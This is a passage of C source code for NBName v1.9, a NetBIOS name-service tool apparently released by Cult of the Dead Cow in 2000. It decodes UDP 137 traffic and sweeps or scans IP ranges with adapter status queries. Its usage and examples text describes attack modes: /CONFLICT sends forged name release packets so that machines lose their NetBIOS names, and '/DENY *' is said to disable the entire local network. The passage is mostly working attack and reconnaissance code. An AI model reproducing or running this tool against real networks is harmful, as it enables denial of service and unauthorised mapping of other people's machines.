WILDCARDNAME, QUESTION_TYPE_NBSTAT, FALSE, TRUE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0, 0, 0, g_TargetIP, 0, ONT_BNODE); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htons(NETBIOSNAMEPORT); while (fgets(buff, 1024, infile) != NULL) { if (strlen(buff)) { char *p = strchr(buff, '\n'); if (p) *p = 0; sockaddr.sin_addr.s_addr = inet_addr(buff) ; retry = 0; while ( retry <= g_Retries && sendto(udpsock, (const char *)outbuff, d, 0, (LPSOCKADDR)&sockaddr, sizeof(SOCKADDR_IN) ) == SOCKET_ERROR ) { retry++; printf("Error %u sending to %s, Resending...\n", GETSOCKETERROR(), inet_ntoa(sockaddr.sin_addr) ); SLEEP(500); } if (g_PacketDelay) SLEEP(g_PacketDelay); } } printf(" **** Scan done\n"); fclose(infile); } #ifdef WIN32 EXITTHREAD(); #else return NULL; #endif } #ifdef WIN32 void __cdecl SweepLoopThread(void *parg) #else void *SweepLoopThread(void *parg) #endif { DWORD CurrentIP = g_SweepStartIP; DWORD d; unsigned char outbuff[1024]; SOCKADDR_IN sockaddr; SOCKET udpsock = *((SOCKET *)parg); int retry; d = FormPacket(outbuff, rand(), OPCODE_QUERY, WILDCARDNAME, QUESTION_TYPE_NBSTAT, FALSE, TRUE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0, 0, 0, g_TargetIP, 0, ONT_BNODE); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htons(NETBIOSNAMEPORT); while (htonl(CurrentIP) <= htonl(g_SweepEndIP)) { sockaddr.sin_addr.s_addr = CurrentIP ; retry = 0; while ( retry <= g_Retries && sendto(udpsock, (const char *)outbuff, d, 0, (LPSOCKADDR)&sockaddr, sizeof(SOCKADDR_IN) ) == SOCKET_ERROR ) { retry++; printf("Error %u sending to %s, Resending...\n", GETSOCKETERROR(), inet_ntoa(sockaddr.sin_addr) ); SLEEP(500); } CurrentIP = ntohl(htonl(CurrentIP) + 1); // increment IP if (g_PacketDelay) SLEEP(g_PacketDelay); } ; printf(" **** Sweep done\n"); g_SweepEndIP = 0; #ifdef WIN32 EXITTHREAD(); #else return NULL; #endif } DWORD DoLoop() { BYTE buff[2046]; BYTE inbuff[4096]; SOCKADDR_IN sockaddr; HOSTENT *phostent; int x; BOOL b; DWORD d; unsigned char outbuff[1024]; SOCKET udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (udpsock == INVALID_SOCKET) { printf("Error %d creating socket\n", GETSOCKETERROR() ); return 0; } b = TRUE; if (setsockopt(udpsock, SOL_SOCKET, SO_REUSEADDR, (const char *)&b, sizeof(b) ) == SOCKET_ERROR) { printf("Error %d setting socket option SO_REUSEADDR\n", GETSOCKETERROR() ); CLOSESOCKET(udpsock); return 0; } b = TRUE; if (setsockopt(udpsock, SOL_SOCKET, SO_BROADCAST, (const char *)&b, sizeof(b) ) == SOCKET_ERROR) { printf("Error %d setting socket option SO_BROADCAST\n", GETSOCKETERROR() ); CLOSESOCKET(udpsock); return 0; } if (g_ReceiveTimeout) { #ifdef WIN32 if (setsockopt(udpsock, SOL_SOCKET, SO_RCVTIMEO, (const char *)&g_ReceiveTimeout, sizeof(g_ReceiveTimeout) ) == SOCKET_ERROR) #else struct timeval tvstruct; tvstruct.tv_sec = g_ReceiveTimeout/1000; tvstruct.tv_usec = (g_ReceiveTimeout%1000)*1000; if (setsockopt(udpsock, SOL_SOCKET, SO_RCVTIMEO, (const char *)&tvstruct, sizeof(tvstruct) ) == SOCKET_ERROR) #endif { printf("Error %d setting timeout to %d milliseconds\n", GETSOCKETERROR(), g_ReceiveTimeout ); } } if (g_LocalIP == INADDR_NONE) { if (gethostname((char *)buff, sizeof(buff) ) == SOCKET_ERROR) { printf("Error %d getting local host name\n", GETSOCKETERROR() ); CLOSESOCKET(udpsock); return 0; } phostent = gethostbyname((char *)buff); if (phostent == NULL) { printf("Error %d getting local address for name %s\n", GETSOCKETERROR(), buff ); CLOSESOCKET(udpsock); return 0; } g_LocalIP = ((struct in_addr *) phostent->h_addr)->s_addr; } sockaddr.sin_addr.s_addr = g_LocalIP; sockaddr.sin_port = htons(g_LocalPort); sockaddr.sin_family = AF_INET; if (bind(udpsock, (LPSOCKADDR)&sockaddr, sizeof(sockaddr) ) == SOCKET_ERROR) { d = GETSOCKETERROR(); printf("Error %u binding to port %d at address %s\n", d, g_LocalPort, inet_ntoa(sockaddr.sin_addr) ); CLOSESOCKET(udpsock); return 0; } else { printf("Bound to port %d on address %s\n", g_LocalPort, inet_ntoa(sockaddr.sin_addr) ); } sockaddr.sin_port = htons(NETBIOSNAMEPORT); #ifdef WINSOCK2 INTERFACE_INFO ifaceinfo[50]; if (WSAIoctl(udpsock, SIO_GET_INTERFACE_LIST, NULL, 0, &ifaceinfo, sizeof(ifaceinfo) * sizeof(INTERFACE_INFO), &d, NULL, NULL ) == SOCKET_ERROR ) { printf("Error %u getting interface list, using INADDR_BROADCAST\n", WSAGetLastError() ); } else { for (x = 0; x < (int)(d / sizeof(INTERFACE_INFO)); x++) { if (g_LocalIP == ifaceinfo[x].iiAddress.AddressIn.sin_addr.s_addr ) { g_BroadcastIP = g_LocalIP | ~ifaceinfo[x].iiNetmask.AddressIn.sin_addr.s_addr; if (g_NetmaskIP == 0) g_NetmaskIP = ifaceinfo[x].iiNetmask.AddressIn.sin_addr.s_addr; break; } } if (x == (int)(d / sizeof(INTERFACE_INFO))) { printf("Unable to find interface %s, using INADDR_BROADCAST\n", inet_ntoa(sockaddr.sin_addr) ); } } #endif if (g_NetmaskIP == 0) g_NetmaskIP = MAKELONG(MAKEWORD(255, 255), MAKEWORD(255, 0) ); { struct in_addr bcastadr, nmaskadr; bcastadr.s_addr = g_BroadcastIP; nmaskadr.s_addr = g_NetmaskIP; printf("Broadcast address: %s ", inet_ntoa(bcastadr)); printf("Netmask: %s\n", inet_ntoa(nmaskadr) ); } if (g_FindAll) { sockaddr.sin_addr.s_addr = g_BroadcastIP; sockaddr.sin_port = htons(NETBIOSNAMEPORT); d = FormPacket(outbuff, rand(), OPCODE_QUERY, WILDCARDNAME, QUESTION_TYPE_NB, FALSE, TRUE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0, 0, 0, 0, 0, ONT_BNODE); sendto(udpsock, (const char *)outbuff, d, 0, (LPSOCKADDR)&sockaddr, sizeof(SOCKADDR_IN) ); printf(" **** Wildcard NB QUERY packet broadcast\n"); } if ((g_Astat ) && g_TargetIP != INADDR_NONE) { d = FormPacket(outbuff, rand(), OPCODE_QUERY, WILDCARDNAME, QUESTION_TYPE_NBSTAT, FALSE, TRUE, FALSE, FALSE, FALSE, FALSE, 0, 1, 0, 0, 0, g_TargetIP, 0, ONT_BNODE); sockaddr.sin_addr.s_addr = g_TargetIP ; sendto(udpsock, (const char *)outbuff, d, 0, (LPSOCKADDR)&sockaddr, sizeof(SOCKADDR_IN) ); printf(" **** NBSTAT QUERY packet sent to %s\n", inet_ntoa(sockaddr.sin_addr)); } if (htonl(g_SweepEndIP) >= htonl(g_SweepStartIP) && g_SweepStartIP != 0 && g_SweepEndIP != 0) { printf(" **** Beginning sweep...\n"); #ifdef WIN32 CREATETHREAD(SweepLoopThread, &udpsock); #else if (fork() == 0) { SweepLoopThread(&udpsock); exit(0); } #endif } if (g_ScanFile != NULL ) { if (access(g_ScanFile, 4) != 0) { printf("Unable to access %s\n", g_ScanFile); } else { printf(" **** Beginning scan of IPs in %s...\n", g_ScanFile); #ifdef WIN32 CREATETHREAD(ScanLoopThread, &udpsock); #else if (fork() == 0) { ScanLoopThread(&udpsock); exit(0); } #endif } } puts(""); do { #ifdef WIN32 int size = sizeof(sockaddr); #else socklen_t size = sizeof(sockaddr); #endif x = recvfrom(udpsock, (char *)inbuff, sizeof(inbuff), 0, (LPSOCKADDR)&sockaddr, &size); if (x > 0) { if (!(g_NoLocal && sockaddr.sin_addr.s_addr == g_LocalIP) && !(g_NoLocalNet && (sockaddr.sin_addr.s_addr & g_NetmaskIP) == (g_LocalIP & g_NetmaskIP)) ) { time_t curtime = time(NULL); printf("** Received %d bytes from %s:%d at %s", x, inet_ntoa(sockaddr.sin_addr), ntohs(sockaddr.sin_port), ctime(&curtime) ); ProcessPacket((char *)inbuff, x, udpsock, &sockaddr); puts(""); } } } while (g_SweepEndIP != 0 || x > 0); CLOSESOCKET(udpsock); return 0; } void Usage() { puts(" Usage: NBName [/FINDALL] [/CONFLICT] [/REVERSE] [/NOLOCAL|/NOLOCALNET]"); puts(" [/ASTAT TargetIP] [/SWEEP StartIP EndIP] [/SCAN IPList]"); puts(" [/TO ms] [/DELAY ms] [/PORT Port] [/RETRY Trys] "); puts(" [/LOCALIP LocalIP] [/NETMASK Netmask] [/EXAMPLES]"); puts(" [/ALLOW|/DENY NameOrFile] [/RESPOND NameOrFile]"); puts(" [/OUTSERVS|/OUTALL OutFile] [/ASOUT Outfile] [/SPAWN CmdExe \"Args\"]"); puts(" /LOCALIP will bind to LocalIP instead of the default system IP"); puts(" /NETMASK will use Netmask to determine local net addresses"); puts(" /PORT will bind to Port instead of 137"); puts(" /FINDALL causes a general name query to be broadcast and adapter status"); puts(" (astat) request packets to be sent to all machines that respond "); puts(" /ASTAT will send an adapter status (astat) request to TargetIP"); puts(" /SWEEP will send adapter status requests to all IPs from StartIP to EndIP"); puts(" /SCAN will send adapter status requests to each IP listed in IPList"); puts(" /DELAY will pause for ms milliseconds between each packet sent durring a"); puts(" scan or sweep, default 100 ms (10 packets per second)"); puts(" /REVERSE will send an astat request in response to astat requests"); puts(" /ASOUT will output received adapter status responses' contents to Outfile"); puts(" /OUTSERVS will output machines that respond to an adapter status request"); puts(" and have the server service running to OutFile in the format of lmhosts"); puts(" /OUTALL will output all machines that respond, even workstations"); puts(" /SPAWN will spawn CmdExe with the commandline: CmdExe Args SrvrIP SrvrName"); puts(" when an astat response is received with the server service running"); puts(" /NOLOCAL will prevent packets from the local host from being processed"); puts(" /NOLOCALNET will prevent packets from the local subnet from being processed"); puts(" /TO causes NBName to exit if no packets are received for ms milliseconds"); puts(" /RESPOND will respomd to requests for NameOrFile"); puts(" /DENY* will cause the name(s) specified by NameOrFile to be denied if a"); puts(" node tries to register it (them)"); puts(" /ALLOW* will deny all names _except_ NameOrFile"); puts(" NameOrFile can be a single name, the path to a file containing a list of"); puts(" names or * for all names (/ALLOW * is not valid), names should be in CAPS"); puts(" /CONFLICT* will send name release packets for each name in the remote name "); puts(" table of machines who respond to adapter status requests "); puts(" /RETRY changes the number of times failed packets are resent from 3 to Trys"); puts(" * These options may be damaging to network stability, use with caution!"); puts(" Clowns are evil, legacy protocols are a problem, Las Vegas is run by gnomes"); } void Examples() { puts(" /ALLOW and /DENY will effectively keep machines from being able to join the"); puts(" NetBIOS network because they will always think their machine name is"); puts(" in use"); puts(" /CONFLICT will cause machines to stop responding to their NetBIOS names, "); puts(" which will become in conflict and the NetBIOS networking will stop working"); puts(" NBNAME /FINDALL /NOBOOTY /DENY * will disable the entire local network "); puts(" and prevent machines from reaccessing the NetBIOS network while running"); puts(" NBNAME /NOLOCAL /REVERSE /CONFLICT will release the names of any machine that"); puts(" requests adapter status from your machine"); puts(" NBNAME /SWEEP 10.10.10.1 10.10.12.255 /DELAY 3 /NOLOCALNET /OUTSERVS lmhosts"); puts(" will sweep three class C networks with astat requests and machines "); puts(" that respond and have the server service running will be added to lmhosts"); } int main(int argc, char* argv[]) { int x; puts("NBName v1.9 - Decodes and displays NetBIOS Name traffic (UDP 137), with options"); puts(" Copyright 2000: Sir Dystic, Cult of the Dead Cow -:|:- New Hack City"); puts(" Send complaints, ideas and donations to sd@cultdeadcow.com|sd@newhackcity.net\n"); for (x = 1; x < argc; x++) { if (argv[x][0] == '/') { if (STRICMP(argv[x], "/CONFLICT") == 0) g_Conflict = TRUE; else if (STRICMP(argv[x], "/FINDALL") == 0) g_FindAll = TRUE; else if (STRICMP(argv[x], "/NOLOCAL") == 0) g_NoLocal = TRUE; else if (STRICMP(argv[x], "/REVERSE") == 0) g_Reverse = TRUE; else if (STRICMP(argv[x], "/NOLOCALNET") == 0) g_NoLocalNet = TRUE; else if (STRICMP(argv[x], "/ASTAT") == 0) { if (x > argc - 2) { printf("Missing argument for /ASTAT\n"); Usage(); return 0; } g_Astat = TRUE; x++; g_TargetIP = inet_addr(argv[x]); } else if (STRICMP(argv[x], "/SPAWN") == 0) { if (x > argc - 3) { printf("Missing argument for /SPAWN\n"); Usage(); return 0; } x++; g_SpawnCommand = argv[x]; x++; g_SpawnArgs = argv[x]; } else if (STRICMP(argv[x], "/ASOUT") == 0) { if (x > argc - 2) { printf("Missing argument for /ASOUT\n"); Usage(); return 0; } x++; g_ASOutFile = argv[x]; } else if (STRICMP(argv[x], "/ALLOW") == 0) { if (x > argc - 2) { printf("Missing argument for /ALLOW\n"); Usage(); return 0; } x++; g_AllowName = argv[x]; } else if (STRICMP(argv[x], "/DENY") == 0) { if (x > argc - 2) { printf("Missing argument for /DENY\n"); Usage(); return 0; } x++; g_DenyName = argv[x]; } else if (STRICMP(argv[x], "/RESPOND") == 0) { if (x > argc - 2) { printf("Missing argument for /RESPOND\n"); Usage(); return 0; } x++; g_RespondName = argv[x]; } else if (STRICMP(argv[x], "/SCAN") == 0) { if (x > argc - 2) { printf("Missing argument for /SCAN\n"); Usage(); return 0; } x++; g_ScanFile = argv[x]; } else if (STRICMP(argv[x], "/TO") == 0) { if (x > argc - 2) { printf("Missing argument for /TO\n"); Usage(); return 0; } x++; g_ReceiveTimeout = atoi(argv[x]); } else if (STRICMP(argv[x], "/RETRY") == 0) { if (x > argc - 2) { printf("Missing argument for /RETRY\n"); Usage(); return 0; } x++; g_Retries = atoi(argv[x]); } else if (STRICMP(argv[x], "/DELAY") == 0) { if (x > argc - 2) { printf("Missing argument for /DELAY\n"); Usage(); return 0; } x++; g_PacketDelay = atoi(argv[x]); } else if (STRICMP(argv[x], "/PORT") == 0) { if (x > argc - 2) { printf("Missing argument for /PORT\n"); Usage(); return 0; } x++; g_LocalPort = atoi(argv[x]); } else if (STRICMP(argv[x], "/OUTSERVS") == 0) { if (x > argc - 2) { printf("Missing argument for /OUTSERVS\n"); Usage(); return 0; } x++; g_OutServsFile = argv[x]; } else if (STRICMP(argv[x], "/OUTALL") == 0) { if (x > argc - 2) { printf("Missing argument for /OUTALL\n"); Usage(); return 0; } x++; g_OutAllFile = argv[x]; } else if (STRICMP(argv[x], "/SWEEP") == 0) { if (x > argc - 3) { printf("Missing argument for /SWEEP\n"); Usage(); return 0; } x++; g_SweepStartIP = inet_addr(argv[x]); x++; g_SweepEndIP = inet_addr(argv[x]); } else if (STRICMP(argv[x], "/EXAMPLES") == 0) Examples(); else if (STRICMP(argv[x], "/LOCALIP") == 0) { if (x > argc - 2) { printf("Missing argument for /LOCALIP\n"); Usage(); return 0; } x++; g_LocalIP = inet_addr(argv[x]); } else if (STRICMP(argv[x], "/NETMASK") == 0) { if (x > argc - 2) { printf("Missing argument for /NETMASK\n"); Usage(); return 0; } g_Astat = TRUE; x++; g_NetmaskIP = inet_addr(argv[x]); } else { printf("Bad option: \"%s\"\n", argv[x] ); Usage(); return 0; } } else { printf("Bad argument: \"%s\"\n", argv[x] ); Usage(); return 0; } } #ifdef WIN32 WSADATA wsadata; #ifdef WINSOCK2 WSAStartup(MAKEWORD(2,0), &wsadata); #else WSAStartup(MAKEWORD(1,1), &wsadata); #endif printf("WinSock v%d.%d (v%d.%d) %s\n", LOBYTE(wsadata.wVersion), HIBYTE(wsadata.wVersion), LOBYTE(wsadata.wHighVersion), HIBYTE(wsadata.wHighVersion), wsadata.szDescription ); if (strlen(wsadata.szSystemStatus)) printf("WinSock status: %s\n", wsadata.szSystemStatus); #endif srand(GETRANDSEED()); DoLoop(); #ifdef WIN32 WSACleanup(); #endif return 0; }